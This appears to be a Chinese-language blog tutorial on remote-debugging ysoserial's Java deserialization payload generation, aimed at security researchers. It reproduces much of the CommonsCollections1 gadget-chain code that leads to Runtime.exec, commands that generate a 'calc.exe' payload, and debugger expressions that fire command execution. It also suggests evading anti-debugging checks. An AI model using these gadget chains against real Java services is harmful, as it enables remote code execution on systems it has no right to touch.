ysoserial高级调试：远程调试Payload生成过程

原创 于 2025-09-10 02:18:26 发布 · 256 阅读 ·
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ysoserial高级调试：远程调试Payload生成过程

【免费下载链接】ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. 【免费下载链接】ysoserial 项目地址: https://gitcode.com/gh_mirrors/ys/ysoserial

引言：为什么需要远程调试Payload生成？

在Java反序列化问题（Unsafe Java Object Deserialization）的研究与分析中，ysoserial作为一款强大的Payload生成工具，其内部的Payload构造逻辑往往是安全分析的关键。然而，当我们面对复杂的Gadget Chain（如CommonsCollections系列）或需要定制化Payload时，单纯的源码阅读往往难以直观理解对象创建、属性赋值到最终序列化的完整流程。远程调试技术能够让我们在真实运行环境中暂停执行、观察变量状态、跟踪方法调用，从而精准定位Payload生成过程中的关键节点。本文将系统介绍如何通过远程调试技术深入分析ysoserial的Payload生成机制，帮助安全研究者提升对反序列化问题分析的理解深度。

读完本文后，你将掌握：

  • 配置ysoserial项目支持远程调试的完整步骤
  • 使用IntelliJ IDEA进行跨平台远程调试的操作方法
  • 关键类（GeneratePayload/Serializer/CommonsCollections1）的调试断点设置策略
  • 分析Gadget Chain构造过程的实用调试技巧
  • 解决调试过程中常见问题（如类加载冲突、断点失效）的方案

环境准备与调试配置

开发环境要求

组件版本要求备注
JDK8u201+需与目标环境JDK版本匹配
Maven3.6.3+用于构建调试版本的ysoserial
IntelliJ IDEA2020.3+提供强大的远程调试功能
Git2.30.0+克隆项目源码

源码获取与构建

# 克隆项目仓库
git clone https://gitcode.com/gh_mirrors/ys/ysoserial.git
cd ysoserial

# 使用Maven构建可调试版本（保留调试符号）
mvn clean package -DskipTests -Dmaven.compiler.debug=true -Dmaven.compiler.debuglevel=lines,vars,source

JVM远程调试参数配置

要启用远程调试，需要在启动ysoserial时添加JVM调试参数。以下是不同场景下的配置方法：

本地命令行启动调试
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5005 \
     -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar \
     CommonsCollections1 "calc.exe"

参数说明：

  • transport=dt_socket：使用Socket传输调试信息
  • server=y：作为调试服务器等待连接
  • suspend=y：启动时暂停，等待调试器连接后再继续执行
  • address=5005：调试端口号，需确保防火墙开放此端口
IntelliJ IDEA远程调试配置
  1. 打开Run/Debug Configurations
  2. 点击"+"添加"Remote JVM Debug"
  3. 配置参数：
    • Name: ysoserial-remote-debug
    • Host: localhost (远程调试时填写目标服务器IP)
    • Port: 5005
    • Transport: Socket
    • Debugger mode: Attach
  4. 点击"Apply"保存配置

核心类调试断点策略

调试入口类：GeneratePayload

GeneratePayload作为ysoserial的主类，负责解析命令行参数、加载Payload类并触发生成流程。建议在以下位置设置断点：

// src/main/java/ysoserial/GeneratePayload.java
public static void main(final String[] args) {
    if (args.length != 2) {  // 断点1：参数解析处
        printUsage();
        System.exit(USAGE_CODE);
    }
    // ...
    try {
        final ObjectPayload payload = payloadClass.newInstance();  // 断点2：Payload实例化
        final Object object = payload.getObject(command);  // 断点3：关键！Payload对象创建
        PrintStream out = System.out;
        Serializer.serialize(object, out);  // 断点4：序列化过程
        ObjectPayload.Utils.releasePayload(payload, object);
    } catch (Throwable e) {  // 断点5：异常捕获处
        // ...
    }
}

调试技巧：在断点3处（payload.getObject(command)）使用"条件断点"功能，仅当payloadClass.getSimpleName().equals("CommonsCollections1")时暂停，可过滤其他Payload类型的干扰。

序列化关键类：Serializer

Serializer类负责将构造好的Java对象序列化为字节流。重点关注序列化过程中的对象状态：

// src/main/java/ysoserial/Serializer.java
public static void serialize(final Object obj, final OutputStream out) throws IOException {
    final ObjectOutputStream objOut = new ObjectOutputStream(out);  // 断点1：输出流初始化
    objOut.writeObject(obj);  // 断点2：核心序列化操作
}

调试技巧：在writeObject调用处设置断点后，使用IDE的"监视"功能观察obj对象的内部结构，特别是Gadget Chain中的关键属性（如CommonsCollections1中的transformers数组）。

Payload实现类：以CommonsCollections1为例

CommonsCollections1作为经典的Gadget Chain实现，其getObject方法是Payload构造的核心：

// src/main/java/ysoserial/payloads/CommonsCollections1.java
public InvocationHandler getObject(final String command) throws Exception {
    final String[] execArgs = new String[] { command };
    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(
        new Transformer[]{ new ConstantTransformer(1) });  // 断点1：初始Transformer链
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] {  // 断点2：实际执行链定义
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {
                String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
            // ... 更多Transformer
    };

    final Map innerMap = new HashMap();
    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);  // 断点3：LazyMap装饰
    final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);  // 断点4：代理创建
    final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);  // 断点5：调用处理器
    Reflections.setFieldValue(transformerChain, "iTransformers", transformers);  // 断点6：关键！替换Transformer链
    return handler;
}

调试技巧：在断点6处（替换Transformer链）前后对比transformerChain对象的iTransformers字段值，观察从"惰性链"到"执行链"的切换过程，这是理解Payload构造技巧的关键。

本地测试辅助类：PayloadRunner

PayloadRunner提供了本地执行Payload的能力，可用于调试完整的"生成-序列化-反序列化"流程：

// src/main/java/ysoserial/payloads/util/PayloadRunner.java
public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
    byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable<byte[]>(){
        public byte[] call() throws Exception {
            // ... Payload生成与序列化 ...
        }});

    try {
        System.out.println("deserializing payload");
        final Object objAfter = Deserializer.deserialize(serialized);  // 断点：反序列化触发点
    } catch (Exception e) {
        e.printStackTrace();
    }
}

使用方法：直接运行CommonsCollections1类的main方法，系统会自动调用PayloadRunner进行本地测试，无需手动输入命令行参数。

调试流程与关键观察点

完整调试流程（以CommonsCollections1为例）

mermaid

关键调试观察点

  1. Transformer链构造阶段

    • 观察transformers数组的元素组成，理解每个Transformer的作用：
      • ConstantTransformer：返回固定对象（如Runtime.class）
      • InvokerTransformer：通过反射调用目标方法（如getMethod、invoke）
    • 注意初始链（inert chain）与实际执行链（real chain）的区别，理解"延迟加载"技巧的实现

  2. 动态代理创建阶段

    • 在Gadgets.createMemoitizedProxy调用后，检查返回的mapProxy对象类型（应为$Proxy实例）
    • 观察代理对象的h字段（InvocationHandler实例），确认其与后续的handler对象关联

  3. 字段替换阶段

    • 在Reflections.setFieldValue调用后，验证transformerChain对象的iTransformers字段是否已被替换为实际执行链
    • 使用IDE的"内存视图"功能查看字段修改前后的内存布局变化

  4. 序列化过程

    • 观察ObjectOutputStream.writeObject调用时的对象图，特别注意：
      • 哪些对象被标记为"可序列化"（实现Serializable接口）
      • transient字段如何被处理（不会被序列化）
      • writeObject/readObject自定义方法是否存在（可能改变序列化行为）

高级调试技巧与问题解决

条件断点与表达式求值

在分析复杂Payload时，使用条件断点可以大幅提高调试效率。例如：

// CommonsCollections1.getObject()中设置条件断点
this.getClass().getSimpleName().equals("CommonsCollections1") && command.contains("calc.exe")

调试时，可在"表达式求值"窗口实时执行代码片段，如：

// 在调试器表达式求值窗口执行
transformers[3].transform(null)  // 应触发命令执行

解决类加载冲突问题

当调试环境中存在多个版本的依赖库（如不同版本的commons-collections）时，可能导致类加载冲突。解决方案：

  1. 在Maven pom.xml中使用<dependencyManagement>锁定依赖版本
  2. 调试时指定-verbose:class参数，观察类加载顺序： 
    java -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5005 \
     -verbose:class \
     -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar \
     CommonsCollections1 "calc.exe"
  3. 在调试器中检查类的classLoader字段，确认使用的是预期的类加载器

远程调试网络问题排查

当进行跨主机远程调试时，常见连接问题及解决方法：

问题现象可能原因解决方案
连接超时目标主机防火墙拦截在目标主机执行telnet <debug-host> 5005测试端口连通性
拒绝连接调试参数未正确设置确认目标进程启动时已添加远程调试参数，且suspend=y
断点不触发代码与调试版本不匹配重新构建项目，确保目标JAR包包含最新调试符号
调试会话频繁断开网络不稳定使用-agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5005,timeout=300000延长超时时间

调试案例：追踪命令执行流程

以调试CommonsCollections1生成计算器命令为例，关键调试步骤：

  1. 在GeneratePayload.main中参数解析后，确认payloadType为"CommonsCollections1"，command为"calc.exe"

  2. 在CommonsCollections1.getObject中，观察execArgs数组被初始化为["calc.exe"]

  3. Transformer链构建后，手动执行以下表达式验证链功能：

    // 在调试器表达式求值窗口执行
transformers[0].transform(null)  // 应返回Runtime.class
transformers[1].transform(Runtime.class)  // 应返回Method对象(getRuntime方法)
transformers[2].transform(Method对象)  // 应返回Runtime实例
transformers[3].transform(Runtime实例)  // 应执行calc.exe，弹出计算器窗口

  4. 序列化过程中，观察ObjectOutputStream对代理对象的处理：

    • 确认writeObject方法调用时，对象类型为$Proxy0（动态代理实例）
    • 检查序列化流中是否包含所有必要的Gadget Chain元素

  5. 本地测试反序列化时，在PayloadRunner的deserialize调用处捕获异常：

    • 异常类型应为InvocationTargetException（由命令执行触发）
    • 异常堆栈应显示命令执行路径：InvokerTransformer.transform() → Method.invoke() → Runtime.exec()

总结与进阶方向

通过远程调试技术，我们能够深入理解ysoserial中Payload的构造原理和执行流程，这不仅有助于安全分析，更为定制化Payload开发和防御研究提供了基础。建议进一步探索以下方向：

  1. 对比分析不同Payload实现：通过调试CommonsCollections1/2/3等系列Payload，理解Gadget Chain的进化历程

  2. JDK版本差异调试：在不同JDK版本（如8u121前后）中调试相同Payload，观察由于JDK安全加固导致的行为变化

  3. 自定义Payload调试：基于现有Payload修改或创建新的Gadget Chain，通过调试验证其正确性

  4. 反调试对抗技术：研究如何绕过反调试机制（如检测jdwp进程、检查调试端口），提升在受限环境中的调试能力

掌握远程调试技术，将使你在Java反序列化问题研究中如虎添翼，能够更快速、更准确地定位问题本质，为安全防御和分析提供深度洞察。

附录：常用调试命令参考

操作IntelliJ IDEA快捷键功能说明
设置断点Ctrl+F8在当前行切换断点
条件断点右键断点→条件设置断点触发条件
步入F7进入当前方法
步过F8执行当前行并移至下一行
步出Shift+F8从当前方法退出
继续执行F9继续执行至下一个断点
查看变量Alt+F8打开表达式求值窗口
强制返回Shift+F9强制从当前方法返回，可修改返回值
监视变量右键变量→添加到监视持续跟踪变量值变化
内存视图调试窗口→内存查看对象内存布局

【免费下载链接】ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. 【免费下载链接】ysoserial 项目地址: https://gitcode.com/gh_mirrors/ys/ysoserial

创作声明：本文部分内容由AI辅助生成（AIGC），仅供参考

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